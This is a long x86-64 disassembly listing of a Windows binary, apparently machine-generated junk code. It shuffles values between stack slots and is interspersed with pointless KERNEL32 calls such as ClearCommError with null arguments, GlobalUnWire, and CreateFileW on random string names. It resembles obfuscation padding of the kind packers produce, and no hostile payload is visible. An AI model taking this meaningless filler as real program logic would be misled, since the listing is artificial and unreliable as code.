mov rcx, qword [rsp + 0xb468]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x45a0], eax
mov rax, qword [rsp + 0x7e48]
mov rcx, qword [rsp + 0xae18]
mov qword [rsp + 0xb5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8f30], rax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb360]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x29c], al
mov rax, qword [rsp + 0xa160]
mov eax, dword [rax]
mov dword [rsp + 0x4a44], eax
mov rax, qword [rsp + 0xa7b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa8]
add eax, ecx
mov word [0x14022b9f8], ax
mov rax, qword [0x14022b9a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf48]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb538]
mov word [rcx], ax
lea rax, [rsp + 0x1938]
mov qword [rsp + 0xb5e8], rax
mov rax, qword [rsp + 0x9ed8]
mov rcx, qword [rsp + 0xb300]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8a18], rax
movsx eax, byte [0x14022b811]
mov rcx, qword [rsp + 0xaa18]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb598]
mov byte [rcx], al
mov rax, qword [rsp + 0xa2f0]
mov eax, dword [rax]
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xb3e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8500]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1e8], rax
lea rax, [0x14022a068]
mov qword [rsp + 0xb5f0], rax
mov rax, qword [rsp + 0x9fd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d44], ax
mov rax, qword [rsp + 0x9ba8]
mov rcx, qword [rsp + 0xa520]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022b858], rax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cb4]
and eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa60]
mov rcx, qword [rsp + 0xae60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x79a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [0x14022b830]
mov rcx, qword [rsp + 0xa938]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5b0], rax
mov eax, dword [rsp + 0x491c]
mov dword [rsp + 0x4a4c], eax
mov rcx, qword [rsp + 0xaba8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x349]
or eax, ecx
mov byte [rsp + 0xa0], al
mov eax, dword [rsp + 0x4744]
mov rcx, qword [rsp + 0xadb0]
mov qword [rsp + 0xb5f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x48f4], eax
movzx eax, byte [rsp + 0x307]
mov rcx, qword [rsp + 0xaf08]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0xa5f0]
mov rcx, qword [rsp + 0xa5a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa668], rax
mov rax, qword [rsp + 0xb570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1da4]
sub eax, ecx
mov word [0x14022a06c], ax
lea rdx, [rsp + 0x4848]
mov rcx, qword [rsp + 0xaa90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a50], eax
movzx eax, word [rsp + 0x9f8]
mov word [rsp + 0x1f04], ax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [0x14022ba38]
add eax, ecx
mov rcx, qword [rsp + 0x9d10]
mov word [rcx], ax
lea rcx, [rsp + 0xb5d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov word [rsp + 0x1f08], ax
mov rax, qword [rsp + 0x72a0]
mov rcx, qword [rsp + 0x8c20]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa130]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4938]
shr eax, cl
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0x9ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13f]
add eax, ecx
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0xa558]
movsx eax, word [rax]
mov rcx, qword [0x14022bac8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaec0]
mov word [rcx], ax
movzx eax, word [rsp + 0xa58]
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0x9b28]
mov rcx, qword [rsp + 0x7e70]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b880]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xafd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x140229f90]
mov rcx, qword [rsp + 0xb318]
mov qword [rsp + 0xb600], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb600]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa938], rax
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0x98e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7e70], rax
lea rax, [rsp + 0xaf90]
mov qword [rsp + 0xb608], rax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
mov rcx, qword [0x14022bbb0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov word [rcx], ax
lea rax, [rsp + 0x369]
mov qword [rsp + 0xb610], rax
mov eax, dword [rsp + 0x3db8]
mov rcx, qword [rsp + 0xb470]
mov qword [rsp + 0xb618], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb618]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x48e0], eax
mov eax, dword [0x140229ff0]
mov ecx, dword [rsp + 0x4710]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa580]
mov dword [rcx], eax
lea rax, [rsp + 0x39e]
mov qword [rsp + 0xb620], rax
lea rax, [rsp + 0x79f0]
mov qword [0x14022bc70], rax
lea rcx, [rsp + 0xa7e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaad8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c84], ax
movsx eax, word [rsp + 0x16b4]
mov rcx, qword [rsp + 0xa460]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1448], ax
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1384], ax
lea rax, [0x140229f60]
mov qword [rsp + 0xb628], rax
movsx eax, byte [rsp + 0x164]
mov rcx, qword [rsp + 0xad98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb230]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7e48]
shr rax, cl
mov qword [rsp + 0x8d58], rax
mov eax, dword [rsp + 0x49e8]
mov dword [rsp + 0x4a54], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.6fP7uZB0eiVt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb630], rax
mov rax, qword [rsp + 0xacd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa510]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab30]
mov word [rcx], ax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa238]
movzx eax, word [rax]
mov word [0x14022bc78], ax
mov rax, qword [rsp + 0xa9e8]
mov qword [rsp + 0xb638], rax
mov rax, qword [0x14022bbb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d68]
and eax, ecx
mov word [rsp + 0x1468], ax
mov rax, qword [rsp + 0xa350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0xa258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dcc], eax
mov rax, qword [rsp + 0xa250]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4710]
shl eax, cl
mov dword [rsp + 0x47e0], eax
lea rax, [rsp + 0x274]
mov qword [rsp + 0xb640], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x74e8
mov rcx, qword [rsp + 0xb148]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4904], eax
mov rcx, qword [rsp + 0x9708]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa5f8]
movzx ecx, al
mov rax, qword [rsp + 0x8050]
shr rax, cl
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb5f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d84], ax
movzx eax, word [rsp + 0x1ecc]
mov rcx, qword [0x14022bb28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022b998]
mov word [rcx], ax
lea rax, [rsp + 0xa880]
mov qword [rsp + 0xb648], rax
mov rax, qword [rsp + 0xb378]
mov rcx, qword [rsp + 0xa200]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab58], rax
lea rax, [rsp + 0x1ca0]
mov qword [rsp + 0xb650], rax
movzx eax, word [0x14022b900]
mov rcx, qword [rsp + 0xa148]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0xb3f8]
mov rcx, qword [rsp + 0x82f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0f0], rax
movzx eax, byte [0x14022b811]
mov byte [rsp + 0x39f], al
xor edx, edx
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, 0xe8f5
div ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
lea rax, [rsp + 0xab10]
mov qword [rsp + 0xb658], rax
lea rax, [rsp + 0x1b80]
mov qword [0x14022bc80], rax
movzx eax, word [0x14022bc28]
movzx ecx, word [rsp + 0x1e60]
sar eax, cl
mov rcx, qword [rsp + 0xaf38]
mov word [rcx], ax
lea rax, [rsp + 0x365]
mov qword [rsp + 0xb660], rax
mov rax, qword [rsp + 0xb420]
mov ecx, dword [rsp + 0x39b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49c8], eax
mov rax, qword [0x14022bad0]
mov rcx, qword [rsp + 0x7b68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9bd8], rax
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0x363]
and eax, ecx
mov byte [rsp + 0x2dd], al
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [0x14022a048]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa788]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb2c8]
mov eax, dword [rax]
mov dword [rsp + 0x4a58], eax
mov rax, qword [rsp + 0xa970]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e38], ax
mov rax, qword [rsp + 0xb170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef0]
shl eax, cl
mov word [0x14022b990], ax
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb330]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa830]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d60]
mov word [rsp + 0x1f10], ax
mov rax, qword [rsp + 0xaf98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ca0]
sar eax, cl
mov rcx, qword [rsp + 0xa7f0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xae40]
mov rcx, qword [rsp + 0x9bf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f80], rax
mov rax, qword [rsp + 0xb1b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa408]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x38f], al
mov rax, qword [rsp + 0xa648]
mov rcx, qword [rsp + 0xae18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7b88], rax
lea rax, [rsp + 0x3ff4]
mov qword [rsp + 0xb668], rax
movzx eax, word [rsp + 0x1e8c]
movzx ecx, word [rsp + 0x19bc]
sub eax, ecx
mov word [rsp + 0x1da0], ax
mov rax, qword [rsp + 0xa660]
movzx ecx, al
mov rax, qword [rsp + 0x9b28]
sar rax, cl
mov rcx, qword [0x14022b880]
mov qword [rcx], rax
lea rdx, [rsp + 0x4808]
mov rcx, qword [rsp + 0xb4c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x487c], eax
mov rax, qword [rsp + 0xb010]
mov eax, dword [rax]
mov dword [rsp + 0x4a5c], eax
movzx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0xb130]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
xor eax, ecx
mov word [rsp + 0x1680], ax
movzx eax, word [rsp + 0x1d9c]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f08], ax
mov rax, qword [rsp + 0xae30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa920]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0x8488]
mov qword [rsp + 0xb670], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.4l4lxA_vA9oNUtgBJlxC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb678], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rcx, [rsp + 0xa178]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa888]
mov ecx, dword [rsp + 0x4710]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48d8], eax
lea rax, [rsp + 0x1680]
mov qword [rsp + 0xb680], rax
lea rdx, [rsp + 0x4a60]
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48d4], eax
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a0c]
add eax, ecx
mov word [0x14022a070], ax
mov rax, qword [rsp + 0xb080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9db8]
mov qword [rsp + 0xb688], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb688]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xab18]
mov qword [rcx], rax
mov rax, qword [rsp + 0xacf0]
mov rcx, qword [rsp + 0x9bd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca8], rax
mov rax, qword [rsp + 0x9fb0]
mov rax, qword [rax]
mov qword [rsp + 0xb690], rax
mov rax, qword [rsp + 0xa7b0]
movsx eax, word [rax]
movsx ecx, word [0x14022bb20]
sub eax, ecx
mov rcx, qword [rsp + 0xb270]
mov word [rcx], ax
mov rax, qword [rsp + 0xad78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f4], eax
movsx eax, byte [rsp + 0x39e]
movsx ecx, byte [0x14022b813]
and eax, ecx
mov byte [rsp + 0x25f], al
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xa940]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb4d8], rax
mov eax, dword [rsp + 0x4744]
mov dword [rsp + 0x4a64], eax
mov rax, qword [rsp + 0xa350]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x344]
add eax, ecx
mov rcx, qword [rsp + 0xb610]
mov byte [rcx], al
movsx eax, word [rsp + 0x1e44]
mov rcx, qword [rsp + 0xa970]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022b8b8]
mov word [rcx], ax
mov r9d, 0xfeb
xor r8d, r8d
lea rdx, [rsp + 0xaba8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47ec], eax
movzx eax, word [rsp + 0x8bc]
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0xa5c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e14]
xor eax, ecx
mov rcx, qword [rsp + 0xa840]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ca0]
shl rax, cl
mov qword [rsp + 0xb5b0], rax
lea rax, [rsp + 0x4804]
mov qword [rsp + 0xb698], rax
lea rcx, [rsp + 0xa6b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa4a0]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b813]
or eax, ecx
mov byte [rsp + 0x366], al
mov r9d, 0xa39
xor r8d, r8d
lea rdx, [rsp + 0xaaa8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a68], eax
lea rax, [rsp + 0xa098]
mov qword [rsp + 0xb6a0], rax
mov rax, qword [rsp + 0x9cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ec0]
sub eax, ecx
mov rcx, qword [rsp + 0xa558]
mov word [rcx], ax
lea rax, [0x14022b89c]
mov qword [rsp + 0xb6a8], rax
mov rax, qword [rsp + 0xb198]
mov qword [0x14022bc88], rax
movzx eax, word [rsp + 0x1a84]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb3e8]
mov word [rcx], ax
mov rax, qword [0x14022ba18]
mov rcx, qword [rsp + 0x8f08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb690], rax
lea rax, [rsp + 0x8d08]
mov qword [rsp + 0xb6b0], rax
mov rax, qword [rsp + 0xb250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a]
sar eax, cl
mov byte [rsp + 0x274], al
lea rcx, [rsp + 0xb5c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa3d8]
mov rcx, qword [rsp + 0xac38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0xaeb0]
mov rcx, qword [rsp + 0x9800]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xab20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x29c], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x9e58]
mov qword [rsp + 0xb6b8], rax
lea rcx, [rsp + 0xac30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10b4]
and eax, ecx
mov word [0x14022a074], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, word [rsp + 0x1de4]
movsx ecx, word [0x14022bbbc]
and eax, ecx
mov word [rsp + 0x156c], ax
lea rax, [rsp + 0x17f8]
mov qword [rsp + 0xb6c0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb6c8], rax
movzx eax, word [rsp + 0x1d9c]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [0x14022a048]
mov rcx, qword [rsp + 0xb6b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d98], rax
lea rax, [rsp + 0x82]
mov qword [rsp + 0xb6d0], rax
mov eax, dword [rsp + 0x482c]
mov rcx, qword [rsp + 0xb4b8]
mov qword [rsp + 0xb6d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb4e0]
mov dword [rcx], eax
lea rax, [rsp + 0x1d30]
mov qword [rsp + 0xb6e0], rax
movzx eax, word [0x14022bc08]
mov rcx, qword [rsp + 0xa0c0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d68], ax
lea rdx, [rsp + 0x49c4]
mov rcx, qword [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0xa068]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb080]
mov qword [rsp + 0xb6e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6e8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x140229f48], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4b7d
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a6c], eax
mov rax, qword [0x14022bad0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
lea rax, [rsp + 0x8a18]
mov qword [rsp + 0xb6f0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xa830]
mov rcx, qword [rsp + 0xafe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa548], rax
movzx eax, word [rsp + 0x1660]
mov rcx, qword [rsp + 0xb220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x81c], ax
mov eax, dword [rsp + 0x39bc]
movzx ecx, al
mov eax, dword [rsp + 0x48f4]
sar eax, cl
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
lea rcx, [rsp + 0xa870]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov byte [rsp + 0x3a0], al
mov eax, dword [rsp + 0x3e6c]
mov ecx, dword [rsp + 0x48d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f4], eax
mov rax, qword [rsp + 0xa898]
mov rcx, qword [rsp + 0x9d18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa378], rax
movsx eax, byte [rsp + 0x393]
movsx ecx, byte [rsp + 0x363]
sub eax, ecx
mov rcx, qword [0x14022b9d0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1c94]
mov word [rsp + 0x1f18], ax
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x156c]
shl eax, cl
mov word [rsp + 0x1ef4], ax
lea rax, [rsp + 0x1e7c]
mov qword [rsp + 0xb6f8], rax
mov rax, qword [rsp + 0xa7f8]
mov rcx, qword [rsp + 0xafe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x98e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa230]
mov rcx, qword [rsp + 0xb468]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xacb8]
mov dword [rcx], eax
mov rax, qword [0x14022a048]
movzx ecx, al
mov rax, qword [rsp + 0x8220]
shr rax, cl
mov qword [rsp + 0x86b0], rax
mov rax, qword [rsp + 0xb448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x353]
add eax, ecx
mov rcx, qword [rsp + 0xb1b0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1ddc]
mov qword [rsp + 0xb700], rax
lea rcx, [rsp + 0xa850]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov word [0x14022bc90], ax
mov rax, qword [rsp + 0xa710]
mov rcx, qword [rsp + 0xafe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa5b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d88]
mov rcx, qword [rsp + 0xa588]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a0c], ax
movzx eax, byte [0x140229f1d]
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0x9fc0]
mov ecx, dword [rsp + 0x4524]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4758], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x372]
add eax, ecx
mov byte [rsp + 0x1a8], al
lea rcx, [rsp + 0xb5c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaf88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14022b808]
shr rax, cl
mov qword [rsp + 0xad18], rax
mov rax, qword [rsp + 0xa220]
mov eax, dword [rax]
mov dword [rsp + 0x4a70], eax
movsx eax, word [rsp + 0x1bbc]
movsx ecx, word [rsp + 0x1dc4]
sub eax, ecx
mov rcx, qword [rsp + 0xb278]
mov word [rcx], ax
mov r9d, 0x24e6
xor r8d, r8d
lea rdx, [rsp + 0xb580]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a74], eax
mov rax, qword [rsp + 0xae38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf64]
and eax, ecx
mov rcx, qword [0x14022ba30]
mov word [rcx], ax
mov rax, qword [rsp + 0xb098]
mov rcx, qword [rsp + 0xb1a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab90]
mov rax, qword [rax]
mov qword [rsp + 0xb708], rax
movsx eax, word [rsp + 0x1e90]
movsx ecx, word [rsp + 0x1dc8]
shl eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ef8]
or eax, ecx
mov word [rsp + 0x1754], ax
mov rax, qword [rsp + 0x98e8]
mov ecx, dword [rsp + 0x49e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4920], eax
mov rax, qword [rsp + 0xaf18]
mov rcx, qword [rsp + 0xaff0]
mov qword [rsp + 0xb710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb710]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa400], rax
lea rax, [rsp + 0x391]
mov qword [rsp + 0xb718], rax
mov rax, qword [0x14022bab0]
mov rcx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa298], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd03b
mov rcx, qword [rsp + 0xa900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46bc], eax
movzx eax, word [rsp + 0x810]
mov word [0x14022bc94], ax
lea rax, [rsp + 0xe48]
mov qword [rsp + 0xb720], rax
mov rax, qword [rsp + 0x9c88]
mov ecx, dword [rsp + 0x48c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x489c], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
